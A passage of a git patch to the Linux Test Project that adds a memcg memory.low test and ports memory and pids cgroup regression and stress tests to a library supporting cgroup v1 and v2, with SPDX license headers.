+	SAFE_CG_PRINT(trunk_cg[A], "cgroup.subtree_control", "+memory");
+
+	SAFE_CG_PRINT(trunk_cg[A], "memory.max", "200M");
+	SAFE_CG_PRINT(trunk_cg[A], "memory.swap.max", "0");
+
+	trunk_cg[B] = tst_cg_group_mk(trunk_cg[A], "trunk_B");
+
+	SAFE_CG_PRINT(trunk_cg[B], "cgroup.subtree_control", "+memory");
+
+	trunk_cg[G] = tst_cg_group_mk(trunk_cg[A], "trunk_G");
+
+	for (i = 0; i < ARRAY_SIZE(leaf_cg); i++) {
+		leaf_cg[i] = tst_cg_group_mk(trunk_cg[B],
+						 "leaf_%c", 'C' + i);
+
+		if (i == E)
+			continue;
+
+		alloc_pagecache_in_child(leaf_cg[i], MB(50));
+	}
+
+	SAFE_CG_PRINT(trunk_cg[A], "memory.low", "50M");
+	SAFE_CG_PRINT(trunk_cg[B], "memory.low", "50M");
+	SAFE_CG_PRINT(leaf_cg[C], "memory.low", "75M");
+	SAFE_CG_PRINT(leaf_cg[D], "memory.low", "25M");
+	SAFE_CG_PRINT(leaf_cg[E], "memory.low", "500M");
+	SAFE_CG_PRINT(leaf_cg[F], "memory.low", "0");
+
+	alloc_anon_in_child(trunk_cg[G], MB(148));
+
+	SAFE_CG_SCANF(trunk_cg[B], "memory.current", "%ld", c);
+	TST_EXP_EXPR(values_close(c[0], MB(50), 5),
+		     "(A/B memory.current=%ld) ~= %d", c[0], MB(50));
+
+	for (i = 0; i < ARRAY_SIZE(leaf_cg); i++)
+		SAFE_CG_SCANF(leaf_cg[i], "memory.current", "%ld", c + i);
+
+	TST_EXP_EXPR(values_close(c[0], MB(33), 20),
+		     "(A/B/C memory.current=%ld) ~= %d", c[C], MB(33));
+	TST_EXP_EXPR(values_close(c[1], MB(17), 20),
+		     "(A/B/D memory.current=%ld) ~= %d", c[D], MB(17));
+	TST_EXP_EXPR(values_close(c[2], 0, 1),
+		     "(A/B/E memory.current=%ld) ~= 0", c[E]);
+	tst_res(TINFO, "A/B/F memory.current=%ld", c[F]);
+
+	alloc_anon_in_child(trunk_cg[G], MB(166));
+
+	for (i = 0; i < ARRAY_SIZE(trunk_cg); i++) {
+		long low, oom;
+		const char id = "ABG"[i];
+
+		SAFE_CG_LINES_SCANF(trunk_cg[i], "memory.events",
+				    "low %ld", &low);
+		SAFE_CG_LINES_SCANF(trunk_cg[i], "memory.events",
+				    "oom %ld", &oom);
+
+		tst_res(TINFO, "%c: low events=%ld, oom events=%ld",
+			id, low, oom);
+	}
+
+	for (i = 0; i < ARRAY_SIZE(leaf_cg); i++) {
+		long low, oom;
+		const char id = 'C' + i;
+
+		SAFE_CG_LINES_SCANF(leaf_cg[i], "memory.events",
+				    "low %ld", &low);
+		SAFE_CG_LINES_SCANF(leaf_cg[i], "memory.events",
+				    "oom %ld", &oom);
+
+		TST_EXP_EXPR(oom == 0, "(%c oom events=%ld) == 0", id, oom);
+
+		if (i < E) {
+			TST_EXP_EXPR(low > 0,
+				     "(%c low events=%ld) > 0", id, low);
+		} else {
+			TST_EXP_EXPR(low == 0,
+				     "(%c low events=%ld) == 0", id, low);
+		}
+	}
+
+	cleanup_sub_groups();
+	SAFE_CLOSE(fd);
+	SAFE_UNLINK(TMPDIR"/tmpfile");
+}
+
+static void cleanup(void)
+{
+	cleanup_sub_groups();
+	if (fd > -1)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.cleanup = cleanup,
+	.test_all = test_memcg_low,
+	.mount_device = 1,
+	.dev_min_size = 256,
+	.mntpoint = TMPDIR,
+	.all_filesystems = 1,
+	.skip_filesystems = (const char *const[]){
+		"exfat", "vfat", "fuse", "ntfs", "tmpfs", NULL
+	},
+	.forks_child = 1,
+	.needs_root = 1,
+	.needs_checkpoints = 1,
+	.needs_cgroup_ver = TST_CG_V2,
+	.needs_cgroup_ctrls = (const char *const[]){ "memory", NULL },
+	.tags = (const struct tst_tag[]) {
+		{
+			"known-fail",
+			"Low events in F: https://bugzilla.suse.com/show_bug.cgi?id=1196298"
+		},
+		{}
+	},
+};
diff --git a/testcases/kernel/controllers/memcg/memcontrol_common.h b/testcases/kernel/controllers/memcg/memcontrol_common.h
new file mode 100644
index 0000000..63df719
--- /dev/null
+++ b/testcases/kernel/controllers/memcg/memcontrol_common.h
@@ -0,0 +1,47 @@
+// SPDX-License-Identifier: GPL-2.0
+
+#include <stdlib.h>
+#include <stdio.h>
+
+#include "tst_test.h"
+
+#define TMPDIR "mntdir"
+#define MB(x) (x << 20)
+
+/*
+ * Checks if two given values differ by less than err% of their
+ * sum. An extra percent is added for every doubling of the page size
+ * to compensate for wastage in page sized allocations.
+ */
+static inline int values_close(const ssize_t a,
+			       const ssize_t b,
+			       const ssize_t err)
+{
+	const size_t page_size = SAFE_SYSCONF(_SC_PAGESIZE);
+	const ssize_t page_adjusted_err = ffs(page_size >> 13) + err;
+
+	return 100 * labs(a - b) <= (a + b) * page_adjusted_err;
+}
+
+static inline void alloc_pagecache(const int fd, size_t size)
+{
+	char buf[BUFSIZ];
+	size_t i;
+
+	SAFE_LSEEK(fd, 0, SEEK_END);
+
+	for (i = 0; i < size; i += sizeof(buf))
+		SAFE_WRITE(1, fd, buf, sizeof(buf));
+}
+
+static inline void alloc_anon(const size_t size)
+{
+	const size_t page_size = SAFE_SYSCONF(_SC_PAGESIZE);
+	char *const buf = SAFE_MALLOC(size);
+	size_t i;
+
+	for (i = 0; i < size; i += page_size)
+		buf[i] = 0;
+
+	free(buf);
+}
diff --git a/testcases/kernel/controllers/memcg/regression/Makefile b/testcases/kernel/controllers/memcg/regression/Makefile
index 36d0f5d..9ccd5c4 100644
--- a/testcases/kernel/controllers/memcg/regression/Makefile
+++ b/testcases/kernel/controllers/memcg/regression/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/controllers/memcg/regression testcase suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, September 2009
-#
 
 top_srcdir		?= ../../../../..
 
diff --git a/testcases/kernel/controllers/memcg/regression/memcg_regression_test.sh b/testcases/kernel/controllers/memcg/regression/memcg_regression_test.sh
index c91a406..94d4e4c 100755
--- a/testcases/kernel/controllers/memcg/regression/memcg_regression_test.sh
+++ b/testcases/kernel/controllers/memcg/regression/memcg_regression_test.sh
@@ -1,50 +1,16 @@
 #! /bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2009 FUJITSU LIMITED
+# Author: Li Zefan <lizf@cn.fujitsu.com>
+# Added memcg enable/disable functionality: Rishikesh K Rajak <risrajak@linux.vnet.ibm.com>
 
-################################################################################
-##                                                                            ##
-## Copyright (c) 2009 FUJITSU LIMITED                                         ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-## Author: Li Zefan <lizf@cn.fujitsu.com>                                     ##
-## Added memcg enable/disable functinality: Rishikesh K Rajak                 ##
-##                                              <risrajak@linux.vnet.ibm.com  ##
-##                                                                            ##
-################################################################################
-
-cd $LTPROOT/testcases/bin
-
-export TCID="memcg_regression_test"
-export TST_TOTAL=4
-export TST_COUNT=1
-
-if [ "$(id -ru)" != 0 ]; then
-	tst_brkm TBROK ignored "Test must be run as root"
-	exit 0
-fi
-
-if [ "x$(grep -w memory /proc/cgroups | cut -f4)" != "x1" ]; then
-	tst_resm TCONF "Either memory resource controller kernel support absent"
-	tst_resm TCONF "or feature is not enabled; skipping all memcgroup testcases."
-        exit 0
-fi
-
-if tst_kvcmp -lt "2.6.30"; then
-	tst_brkm TBROK ignored "Test should be run with kernel 2.6.30 or newer"
-	exit 0
-fi
+TST_ID="memcg_regression_test"
+TST_CLEANUP=cleanup
+TST_SETUP=setup
+TST_TESTFUNC=test_
+TST_NEEDS_ROOT=1
+TST_NEEDS_CMDS="killall kill"
+TST_CNT=4
 
 #buffer can rotate and number of found bugs can actually go down
 #so clear the buffer to avoid this
@@ -70,16 +36,16 @@
 
 	# some kernel bug is detected
 	if [ $new_bug -gt $nr_bug ]; then
-		tst_resm TFAIL "kernel BUG was detected!"
+		tst_res TFAIL "kernel BUG was detected!"
 	fi
 	if [ $new_warning -gt $nr_warning ]; then
-		tst_resm TFAIL "kernel WARNING was detected!"
+		tst_res TFAIL "kernel WARNING was detected!"
 	fi
 	if [ $new_null -gt $nr_null ]; then
-		tst_resm "kernel NULL pointer dereference!"
+		tst_res TWARN "kernel NULL pointer dereference!"
 	fi
 	if [ $new_lockdep -gt $nr_lockdep ]; then
-		tst_resm "kernel lockdep warning was detected!"
+		tst_res TWARN "kernel lockdep warning was detected!"
 	fi
 
 	nr_bug=$new_bug
@@ -89,10 +55,49 @@
 
 	echo "check_kernel_bug found something!"
 	dmesg
-	failed=1
 	return 0
 }
 
+setup()
+{
+	if tst_kvcmp -lt "2.6.30"; then
+		tst_brk TBROK "Test should be run with kernel 2.6.30 or newer"
+	fi
+
+	cgroup_require "memory"
+	cgroup_version=$(cgroup_get_version "memory")
+	mount_point=$(cgroup_get_mountpoint "memory")
+	test_dir=$(cgroup_get_test_path "memory")
+	task_list=$(cgroup_get_task_list "memory")
+	if [ "$cgroup_version" = "2" ]; then
+		memory_limit="memory.max"
+	else
+		memory_limit="memory.limit_in_bytes"
+	fi
+
+	[ "$cgroup_version" = "2" ] && ROD echo "+memory" \> "$test_dir/cgroup.subtree_control"
+
+	tst_res TINFO "test starts with cgroup version $cgroup_version"
+}
+
+cleanup()
+{
+	cleanup_testpath "$test_dir/0"
+	cgroup_cleanup
+}
+
+create_testpath()
+{
+	local path="$1"
+	[ ! -e "$path" ] && ROD mkdir "$path"
+}
+
+cleanup_testpath()
+{
+	local path="$1"
+	[ -e "$path" ] && ROD rmdir "$path"
+}
+
 #---------------------------------------------------------------------------
 # Bug:    The bug was, while forking mass processes, trigger memcgroup OOM,
 #         then NULL pointer dereference may be hit.
@@ -102,16 +107,19 @@
 #---------------------------------------------------------------------------
 test_1()
 {
-	mkdir memcg/0/
-	echo 0 > memcg/0/memory.limit_in_bytes
+	local test_path
+	test_path="$test_dir/0"
 
-	./memcg_test_1
+	create_testpath "$test_path"
+	ROD echo 0 \> "$test_path/$memory_limit"
 
-	rmdir memcg/0/
+	./memcg_test_1 "$test_path/$task_list"
+
+	cleanup_testpath "$test_path"
 
 	check_kernel_bug
 	if [ $? -eq 1 ]; then
-		tst_resm TPASS "no kernel bug was found"
+		tst_res TPASS "no kernel bug was found"
 	fi
 }
 
@@ -124,19 +132,31 @@
 #---------------------------------------------------------------------------
 test_2()
 {
+	local test_path
+
+	# for cgroup2 writing to memory.max first checks the new limit against the
+	# current usage and will start killing processes if oom, therefore we do not
+	# expect EBUSY to be returned by the shrink operation.
+	if [ "$cgroup_version" = "2" ]; then
+		tst_res TCONF "Cgroup v2 found, skipping test"
+		return
+	fi
+
+	test_path="$test_dir/0"
+
 	./memcg_test_2 &
 	pid1=$!
 	sleep 1
 
-	mkdir memcg/0
-	echo $pid1 > memcg/0/tasks
+	create_testpath "$test_path"
+	ROD echo $pid1 \> "$test_path"/tasks
 
 	# let pid1 'test_2' allocate memory
 	/bin/kill -SIGUSR1 $pid1
 	sleep 1
 
 	# shrink memory
-	echo 1 > memcg/0/memory.limit_in_bytes 2>&1 &
+	echo 1 > "$test_path"/memory.limit_in_bytes 2>&1 &
 	pid2=$!
 
 	# check if 'echo' will exit and exit with failure
@@ -146,26 +166,25 @@
 		if [ $? -ne 0 ]; then
 			wait $pid2
 			if [ $? -eq 0 ]; then
-				tst_resm TFAIL "echo should return failure"
-				failed=1
+				tst_res TFAIL "echo should return failure"
 				kill -9 $pid1 $pid2 > /dev/null 2>&1
 				wait $pid1 $pid2
-				rmdir memcg/0
+				cleanup_testpath "$test_path"
+				return
 			fi
 			break
 		fi
 	done
 
 	if [ $tmp -eq 5 ]; then
-		tst_resm TFAIL "'echo' doesn't exit!"
-		failed=1
+		tst_res TFAIL "'echo' doesn't exit!"
 	else
-		tst_resm TPASS "EBUSY was returned as expected"
+		tst_res TPASS "EBUSY was returned as expected"
 	fi
 
 	kill -9 $pid1 $pid2 > /dev/null 2>&1
 	wait $pid1 $pid2 > /dev/null 2>&1
-	rmdir memcg/0
+	cleanup_testpath "$test_path"
 }
 
 #---------------------------------------------------------------------------
@@ -176,19 +195,22 @@
 #---------------------------------------------------------------------------
 test_3()
 {
-	mkdir memcg/0
-	for pid in `cat memcg/tasks`; do
-		echo $pid > memcg/0/tasks 2> /dev/null
+	local test_path
+	test_path="$test_dir/0"
+	create_testpath "$test_path"
+
+	for pid in $(cat "$mount_point/$task_list"); do
+		echo $pid > "$test_path/$task_list" 2> /dev/null
 	done
 
-	for pid in `cat memcg/0/tasks`; do
-		echo $pid > memcg/tasks 2> /dev/null
+	for pid in $(cat "$test_path/$task_list"); do
+		echo $pid > "$mount_point/$task_list" 2> /dev/null
 	done
-	rmdir memcg/0
+	cleanup_testpath "$test_path"
 
 	check_kernel_bug
 	if [ $? -eq 1 ]; then
-		tst_resm TPASS "no kernel bug was found"
+		tst_res TPASS "no kernel bug was found"
 	fi
 }
 
@@ -200,11 +222,15 @@
 #---------------------------------------------------------------------------
 test_4()
 {
-	./memcg_test_4.sh
+	local test_path
+	test_path="$test_dir/0"
+	create_testpath "$test_path"
+
+	./memcg_test_4.sh "$cgroup_version" "$mount_point" "$test_path"
 
 	check_kernel_bug
 	if [ $? -eq 1 ]; then
-		tst_resm TPASS "no kernel bug was found"
+		tst_res TPASS "no kernel bug was found"
 	fi
 
 	# test_4.sh might be killed by oom, so do clean up here
@@ -212,31 +238,10 @@
 	killall -9 memcg_test_4.sh 2> /dev/null
 
 	# if test_4.sh gets killed, it won't clean cgroup it created
-	rmdir memcg/0 2> /dev/null
+	cleanup_testpath "$test_path"
 
 	swapon -a
 }
 
-# main
-failed=0
-mkdir memcg/
-
-for cur in $(seq 1 $TST_TOTAL); do
-	export TST_COUNT=$cur
-
-	mount -t cgroup -o memory xxx memcg/
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "failed to mount memory subsystem"
-		failed=1
-		continue
-	fi
-
-	test_$cur
-
-	umount memcg/
-done
-
-rmdir memcg/
-
-exit $failed
-
+. cgroup_lib.sh
+tst_run
diff --git a/testcases/kernel/controllers/memcg/regression/memcg_test_1.c b/testcases/kernel/controllers/memcg/regression/memcg_test_1.c
index c7fb948..95f1aab 100644
--- a/testcases/kernel/controllers/memcg/regression/memcg_test_1.c
+++ b/testcases/kernel/controllers/memcg/regression/memcg_test_1.c
@@ -1,24 +1,6 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) 2009 FUJITSU LIMITED                                         */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/* Author: Li Zefan <lizf@cn.fujitsu.com>                                     */
-/*                                                                            */
-/******************************************************************************/
+// SPDX-License-Identifier: GPL-2.0-or-later
+// Copyright (c) 2009 FUJITSU LIMITED
+// Author: Li Zefan <lizf@cn.fujitsu.com>
 
 #include <stdio.h>
 #include <stdlib.h>
@@ -33,17 +15,25 @@
 
 #define FORKED_PROC_COUNT	10
 
-int main(void)
+int main(int argc, char *argv[])
 {
 	char buf[10];
 	int i;
 	int loop;
 	int pid;
+	int fd;
 	int size = getpagesize();
-	int fd = open("memcg/0/tasks", O_WRONLY);
 
-	if (fd < 0)
-		return 1;
+	if (argc != 2) {
+		perror("Invalid num of args");
+		exit(1);
+	}
+
+	fd = open(argv[1], O_WRONLY);
+	if (fd < 0) {
+		perror("Could not open tasklist");
+		exit(1);
+	}
 
 	for (loop = 0; loop < LOOP; loop++) {
 		for (i = 0; i < FORKED_PROC_COUNT; i++) {
diff --git a/testcases/kernel/controllers/memcg/regression/memcg_test_2.c b/testcases/kernel/controllers/memcg/regression/memcg_test_2.c
index 843b078..c118d45 100644
--- a/testcases/kernel/controllers/memcg/regression/memcg_test_2.c
+++ b/testcases/kernel/controllers/memcg/regression/memcg_test_2.c
@@ -1,24 +1,6 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) 2009 FUJITSU LIMITED                                         */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/* Author: Li Zefan <lizf@cn.fujitsu.com>                                     */
-/*                                                                            */
-/******************************************************************************/
+// SPDX-License-Identifier: GPL-2.0-or-later
+// Copyright (c) 2009 FUJITSU LIMITED
+// Author: Li Zefan <lizf@cn.fujitsu.com>
 
 #include <sys/mman.h>
 #include <signal.h>
diff --git a/testcases/kernel/controllers/memcg/regression/memcg_test_3.c b/testcases/kernel/controllers/memcg/regression/memcg_test_3.c
index 75a6e15..4bf4270 100644
--- a/testcases/kernel/controllers/memcg/regression/memcg_test_3.c
+++ b/testcases/kernel/controllers/memcg/regression/memcg_test_3.c
@@ -17,12 +17,10 @@
 #include <sys/types.h>
 #include <sys/mount.h>
 #include "tst_test.h"
+#include "tst_cgroup.h"
 
-#define MNTPOINT	"memcg"
-#define SUBDIR	"memcg/testdir"
-
-static int mount_flag;
 static volatile int sigcounter;
+static struct tst_cg_group *test_cg;
 
 static void sighandler(int sig LTP_ATTRIBUTE_UNUSED)
 {
@@ -48,9 +46,10 @@
 		do_child();
 
 	while (sigcounter < 50000) {
-		if (access(SUBDIR, F_OK))
-			SAFE_MKDIR(SUBDIR, 0644);
-		rmdir(SUBDIR);
+		test_cg = tst_cg_group_mk(tst_cg, "test");
+
+		if (test_cg)
+			test_cg = tst_cg_group_rm(test_cg);
 	}
 
 	SAFE_KILL(cpid, SIGKILL);
@@ -61,32 +60,26 @@
 
 static void setup(void)
 {
-	int ret;
+	struct tst_cg_opts opts;
 
-	SAFE_MKDIR(MNTPOINT, 0644);
+	memset(&opts, 0, sizeof(opts));
 
-	ret = mount("memcg", MNTPOINT, "cgroup", 0, "memory");
-	if (ret) {
-		if (errno == ENOENT)
-			tst_brk(TCONF | TERRNO, "memcg not supported");
-
-		tst_brk(TCONF | TERRNO, "mounting memcg failed");
-	}
-	mount_flag = 1;
+	tst_cg_require("memory", &opts);
+	tst_cg_init();
+	if (TST_CG_VER(tst_cg, "memory") != TST_CG_V1)
+		SAFE_CG_PRINT(tst_cg, "cgroup.subtree_control", "+memory");
 }
 
 static void cleanup(void)
 {
-	if (!access(SUBDIR, F_OK))
-		SAFE_RMDIR(SUBDIR);
+	if (test_cg)
+		test_cg = tst_cg_group_rm(test_cg);
 
-	if (mount_flag)
-		tst_umount(MNTPOINT);
+	tst_cg_cleanup();
 }
 
 static struct tst_test test = {
 	.needs_root = 1,
-	.needs_tmpdir = 1,
 	.forks_child = 1,
 	.min_kver = "2.6.24",
 	.setup = setup,
diff --git a/testcases/kernel/controllers/memcg/regression/memcg_test_4.c b/testcases/kernel/controllers/memcg/regression/memcg_test_4.c
index d714561..743c841 100644
--- a/testcases/kernel/controllers/memcg/regression/memcg_test_4.c
+++ b/testcases/kernel/controllers/memcg/regression/memcg_test_4.c
@@ -1,24 +1,6 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) 2009 FUJITSU LIMITED                                         */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/* Author: Li Zefan <lizf@cn.fujitsu.com>                                     */
-/*                                                                            */
-/******************************************************************************/
+// SPDX-License-Identifier: GPL-2.0-or-later
+// Copyright (c) 2009 FUJITSU LIMITED
+// Author: Li Zefan <lizf@cn.fujitsu.com>
 
 #include <sys/mman.h>
 #include <err.h>
diff --git a/testcases/kernel/controllers/memcg/regression/memcg_test_4.sh b/testcases/kernel/controllers/memcg/regression/memcg_test_4.sh
index 6200313..8723abb 100755
--- a/testcases/kernel/controllers/memcg/regression/memcg_test_4.sh
+++ b/testcases/kernel/controllers/memcg/regression/memcg_test_4.sh
@@ -1,30 +1,21 @@
 #! /bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2009 FUJITSU LIMITED
+# Author: Li Zefan <lizf@cn.fujitsu.com>
 
-################################################################################
-##                                                                            ##
-## Copyright (c) 2009 FUJITSU LIMITED                                         ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-## Author: Li Zefan <lizf@cn.fujitsu.com>                                     ##
-##                                                                            ##
-################################################################################
+cgroup_version="$1"
+mount_point="$2"
+test_path="$3"
 
-# attach current task to memcg/0/
-mkdir memcg/0
-echo $$ > memcg/0/tasks
+if [ "$cgroup_version" = "2" ]; then
+	task_list="cgroup.procs"
+	memory_limit="memory.max"
+else
+	task_list="tasks"
+	memory_limit="memory.limit_in_bytes"
+fi
+
+echo $$ > "$test_path/$task_list"
 
 ./memcg_test_4 &
 pid=$!
@@ -35,14 +26,13 @@
 sleep 1
 
 # shrink memory, and then 80M will be swapped
-echo 40M > memcg/0/memory.limit_in_bytes
+echo 40M > "$test_path/$memory_limit"
 
 # turn off swap, and swapoff will be killed
 swapoff -a
 sleep 1
-echo $pid > memcg/tasks 2> /dev/null
-echo $$ > memcg/tasks 2> /dev/null
+echo $pid > "$mount_point/$task_list" 2> /dev/null
+echo $$ > "$mount_point/$task_list"  2> /dev/null
 
 # now remove the cgroup
-rmdir memcg/0
-
+rmdir "$test_path"
diff --git a/testcases/kernel/controllers/memcg/stress/memcg_stress_test.sh b/testcases/kernel/controllers/memcg/stress/memcg_stress_test.sh
index ad8605e..cb52840 100755
--- a/testcases/kernel/controllers/memcg/stress/memcg_stress_test.sh
+++ b/testcases/kernel/controllers/memcg/stress/memcg_stress_test.sh
@@ -2,7 +2,7 @@
 # SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2009 FUJITSU LIMITED
 # Copyright (c) 2018-2019 ARM Ltd. All Rights Reserved.
-# Copyright (c) 2019 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2019-2022 Petr Vorel <pvorel@suse.cz>
 #
 # Author: Li Zefan <lizf@cn.fujitsu.com>
 # Restructure for LTP: Shi Weihua <shiwh@cn.fujitsu.com>
@@ -19,14 +19,18 @@
 # therefore the default 5 mins timeout is not enough.
 TST_TIMEOUT=2100
 
-. cgroup_lib.sh
-
 setup()
 {
-	if ! is_cgroup_subsystem_available_and_enabled "memory"; then
-		tst_brk TCONF "Either kernel does not support Memory Resource Controller or feature not enabled"
+	cgroup_require "memory"
+	cgroup_version=$(cgroup_get_version "memory")
+	test_path=$(cgroup_get_test_path "memory")
+	task_list=$(cgroup_get_task_list "memory")
+	if [ "$cgroup_version" = "2" ]; then
+		ROD echo "+memory" \> "$test_path/cgroup.subtree_control"
 	fi
 
+	tst_res TINFO "test starts with cgroup version $cgroup_version"
+
 	echo 3 > /proc/sys/vm/drop_caches
 	sleep 2
 	local mem_free=`cat /proc/meminfo | grep MemFree | awk '{ print $2 }'`
@@ -43,18 +47,7 @@
 
 cleanup()
 {
-	if [ -e /dev/memcg ]; then
-		umount /dev/memcg 2> /dev/null
-		rmdir /dev/memcg 2> /dev/null
-	fi
-}
-
-do_mount()
-{
-	cleanup
-
-	mkdir /dev/memcg 2> /dev/null
-	mount -t cgroup -omemory memcg /dev/memcg
+	cgroup_cleanup
 }
 
 # $1 Number of cgroups
@@ -71,14 +64,12 @@
 
 	tst_res TINFO "Testing $cgroups cgroups, using $mem_size MB, interval $interval"
 
-	do_mount
-
 	tst_res TINFO "Starting cgroups"
 	for i in $(seq 0 $(($cgroups-1))); do
-		mkdir /dev/memcg/$i 2> /dev/null
+		ROD mkdir "$test_path/$i"
 		memcg_process_stress $mem_size $interval &
-		echo $! > /dev/memcg/$i/tasks
-		pids="$! $pids"
+		ROD echo $! \> "$test_path/$i/$task_list"
+		pids="$pids $!"
 	done
 
 	for pid in $pids; do
@@ -93,12 +84,11 @@
 	for pid in $pids; do
 		kill -KILL $pid 2> /dev/null
 		wait $pid 2> /dev/null
-		rmdir /dev/memcg/$i 2> /dev/null
+		ROD rmdir "$test_path/$i"
 		i=$((i+1))
 	done
 
 	tst_res TPASS "Test passed"
-	cleanup
 }
 
 test1()
@@ -111,4 +101,5 @@
 	run_stress 1 $(( $MEM - $THREAD_SPARE_MB)) 5 $RUN_TIME
 }
 
+. cgroup_lib.sh
 tst_run
diff --git a/testcases/kernel/controllers/pids/Makefile b/testcases/kernel/controllers/pids/Makefile
index 6500363..21060b6 100644
--- a/testcases/kernel/controllers/pids/Makefile
+++ b/testcases/kernel/controllers/pids/Makefile
@@ -1,22 +1,6 @@
-#
-#    Copyright (C) 2015, SUSE
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2015, SUSE
 # Author: Cedric Hnyda <chnyda@suse.com>
-#
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/kernel/controllers/pids/pids.sh b/testcases/kernel/controllers/pids/pids.sh
index afcf0a2..26a0c6a 100755
--- a/testcases/kernel/controllers/pids/pids.sh
+++ b/testcases/kernel/controllers/pids/pids.sh
@@ -13,8 +13,6 @@
 TST_NEEDS_ROOT=1
 TST_NEEDS_CMDS="killall"
 
-. tst_test.sh
-
 caseno=$1
 max=$2
 subcgroup_num=$3
@@ -38,36 +36,17 @@
 {
 	killall -9 pids_task2 >/dev/null 2>&1
 
-	tst_res TINFO "removing created directories"
-	rmdir $testpath
-	if [ "$mounted" -ne "1" ]; then
-		tst_res TINFO "Umounting pids"
-		umount $mount_point
-		rmdir $mount_point
-	fi
+	cgroup_cleanup
 }
 
 setup()
 {
-	exist=`grep -w pids /proc/cgroups | cut -f1`;
-	if [ "$exist" = "" ]; then
-		tst_brk TCONF NULL "pids not supported"
-	fi
+	cgroup_require "pids"
